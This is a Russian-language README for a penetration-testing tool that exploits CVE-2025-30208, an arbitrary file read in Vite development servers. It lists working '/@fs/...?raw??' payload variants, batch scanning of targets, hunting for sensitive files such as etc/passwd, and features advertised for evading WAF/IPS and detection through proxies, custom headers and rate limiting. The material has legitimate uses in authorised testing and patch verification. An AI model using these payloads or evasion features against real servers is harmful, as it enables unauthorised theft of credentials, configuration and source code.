🔥 Сканер уязвимости CVE-2025-30208 Vite (произвольное чтение файлов)

Продвинутый сканер уязвимости CVE-2025-30208 с функциями корпоративного уровня

Профессиональный инструмент тестирования на проникновение для обнаружения уязвимости произвольного чтения файлов в Vite

🚀 Быстрый старт • 📋 Возможности • 🔧 Использование • 📊 Примеры • 🛡️ Безопасность

📖 Обзор

Это комплексный сканер уязвимостей, предназначенный для обнаружения и эксплуатации уязвимости CVE-2025-30208 в серверах разработки Vite. Уязвимость позволяет осуществлять произвольное чтение файлов через конечные точки файловой системы Vite, что потенциально открывает доступ к конфиденциальным файлам конфигурации, исходному коду и системной информации.

🎯 Что делает этот инструмент

Обнаруживает уязвимые экземпляры Vite в сетях
Безопасно эксплуатирует уязвимость произвольного чтения файлов
Находит конфиденциальные файлы и данные конфигурации
Формирует отчёты о результатах в нескольких форматах (HTML, JSON, консоль)
Управляет сеансами сканирования и конфигурациями
Корректно обрабатывает ошибки с помощью механизмов автоматических повторных попыток

🏗️ Модульная архитектура

Теперь инструмент имеет модульную архитектуру для улучшения сопровождаемости и расширяемости:

CVE-2025-30208.py — основное приложение сканера
payloads.py — продвинутые эксплойт-пейлоады (60+ вариаций)
sensitive_files.py — обширная база конфиденциальных файлов (200+ файлов)
html_template.py — улучшенный HTML-шаблон отчётов в хакерском стиле

🚀 Быстрый старт

Предварительные требования

pip3 install -r requirements.txt

Базовое использование

python3 CVE-2025-30208.py

CVE-2025-30208 > set RHOST 192.168.1.100
CVE-2025-30208 > set RPORT 3000
CVE-2025-30208 > run

📋 Возможности

🔍 Основное обнаружение уязвимостей

60+ продвинутых пейлоадов: комплексные техники эксплуатации для максимального обнаружения
Умное обнаружение: интеллектуальный анализ ответов для исключения ложных срабатываний
Проверка в реальном времени: непрерывная валидация ответов цели
Комплексное тестирование: проверка всех известных уязвимых конечных точек

🛡️ Расширенные функции безопасности

Поддержка прокси: настройка HTTP/HTTPS-прокси для анонимности
Пользовательские заголовки: обход WAF/IPS с помощью пользовательских HTTP-заголовков
Ограничение скорости: настраиваемые задержки для избежания обнаружения
Управление сеансами: сохранение и восстановление сеансов сканирования
Проверка ввода: комплексная валидация параметров

🔧 Расширенные возможности

Пакетное сканирование: многопоточное сканирование нескольких целей
Поиск конфиденциальных файлов: автоматическое обнаружение 200+ конфиденциальных файлов
Проверка связности: тестирование протоколов TCP/UDP/HTTP/HTTPS
Восстановление после ошибок: автоматические повторные попытки с экспоненциальной задержкой
Комплексное журналирование: подробные журналы с временными метками

📊 Отчёты и вывод

🎨 Улучшенные HTML-отчёты: красивые отчёты об уязвимостях в хакерском стиле с анимациями
Экспорт в JSON: структурированные данные для дальнейшего анализа
Вывод в консоль: цветная индикация в реальном времени
Журнальные файлы: подробные аудит-трассы
Интерактивный веб-интерфейс: встроенный веб-сервер для просмотра отчётов

🔧 Руководство по использованию

1. Базовая конфигурация

CVE-2025-30208 > set RHOST 192.168.1.100
CVE-2025-30208 > set RPORT 3000
CVE-2025-30208 > set FILEPATH etc/passwd

CVE-2025-30208 > test

2. Тестирование уязвимости

CVE-2025-30208 > run

# Enable verbose mode for detailed output
CVE-2025-30208 > verbose
CVE-2025-30208 > run

3. Пакетное сканирование

CVE-2025-30208 > set THREADS 10
CVE-2025-30208 > batch

192.168.1.100:3000
192.168.1.101:3000
192.168.1.102:3000
[Press Enter twice to finish]

4. Поиск конфиденциальных файлов

CVE-2025-30208 > scan

5. Расширенная конфигурация

# Configure proxy
CVE-2025-30208 > proxy
Enter proxy: http://127.0.0.1:8080

# Set custom headers
CVE-2025-30208 > headers
Enter headers: {"User-Agent": "Custom Scanner"}

# Configure rate limiting
CVE-2025-30208 > rate
Enter rate limit: 1.0

6. Улучшенные HTML-отчёты

# Generate beautiful HTML report
CVE-2025-30208 > pull

# Start web server to view report
CVE-2025-30208 > web

# Start web server on specific port
CVE-2025-30208 > web 8081

# Stop web server
CVE-2025-30208 > web off

📊 Справочник команд

Команда	Описание	Пример
`set <option> <value>`	Установить параметры конфигурации	`set RHOST 192.168.1.100`
`show options`	Показать текущие настройки	`show options`
`edit`	Интерактивный редактор параметров	`edit`
`run` / `exploit`	Запустить тест на уязвимость	`run`
`batch`	Пакетное сканирование нескольких целей	`batch`
`scan`	Поиск конфиденциальных файлов	`scan`
`pull`	Экспортировать результаты в HTML/JSON	`pull`
`web [on\|off\|port]`	Веб-сервер для HTML-отчётов	`web 8080`
`save`	Сохранить конфигурацию сеанса	`save`
`load`	Загрузить конфигурацию сеанса	`load`
`test`	Проверить связь с целью	`test`
`validate`	Проверить текущую конфигурацию	`validate`
`verbose`	Переключить подробный режим	`verbose`
`proxy`	Настроить параметры прокси	`proxy`
`headers`	Установить пользовательские HTTP-заголовки	`headers`
`rate`	Настроить ограничение скорости	`rate`
`log`	Показать информацию журнала	`log`
`help` / `?`	Показать справку	`help`
`exit` / `quit`	Выйти из инструмента	`exit`

⚙️ Параметры конфигурации

Параметр	Описание	По умолчанию	Проверка
`RHOST`	Целевой хост / IP-адрес	-	Проверка имени хоста / IP
`RPORT`	Номер порта цели	-	Диапазон портов (1-65535)
`FILEPATH`	Путь к файлу для проверки	`etc/passwd`	Проверка пути
`PROXY`	URL HTTP/HTTPS-прокси	-	Проверка формата URL
`VERBOSE`	Включить подробный вывод	`false`	Проверка логического значения
`RATE_LIMIT`	Задержка между запросами (секунды)	`0.3`	Числовая проверка
`THREADS`	Количество потоков для пакетного сканирования	`5`	Проверка целочисленного значения
`TIMEOUT`	Тайм-аут запроса (секунды)	`5`	Проверка целочисленного значения
`CUSTOM_HEADERS`	Пользовательские HTTP-заголовки (JSON)	`{}`	Проверка формата JSON

🎨 Расширенная система пейлоадов

Сканер теперь использует 60+ различных вариаций пейлоадов, организованных в payloads.py:

Основные пейлоады @fs

/@fs/{file_path}?raw??
/@fs/{file_path}?raw&url
/@fs/{file_path}?import&raw??
/@fs/{file_path}?raw&import
/@fs/{file_path}?import&url

Расширенные вариации параметров

/@fs/{file_path}?raw&source
/@fs/{file_path}?raw&content
/@fs/{file_path}?raw&data
/@fs/{file_path}?raw&file
/@fs/{file_path}?raw&type=text
/@fs/{file_path}?raw&format=text
/@fs/{file_path}?raw&encoding=utf8

Специфические вариации Vite

/@fs/{file_path}?raw&vite&dev
/@fs/{file_path}?raw&vite&hot
/@fs/{file_path}?raw&vite&hmr
/@fs/{file_path}?raw&development
/@fs/{file_path}?raw&debug

CVE-2025-30208

Популярное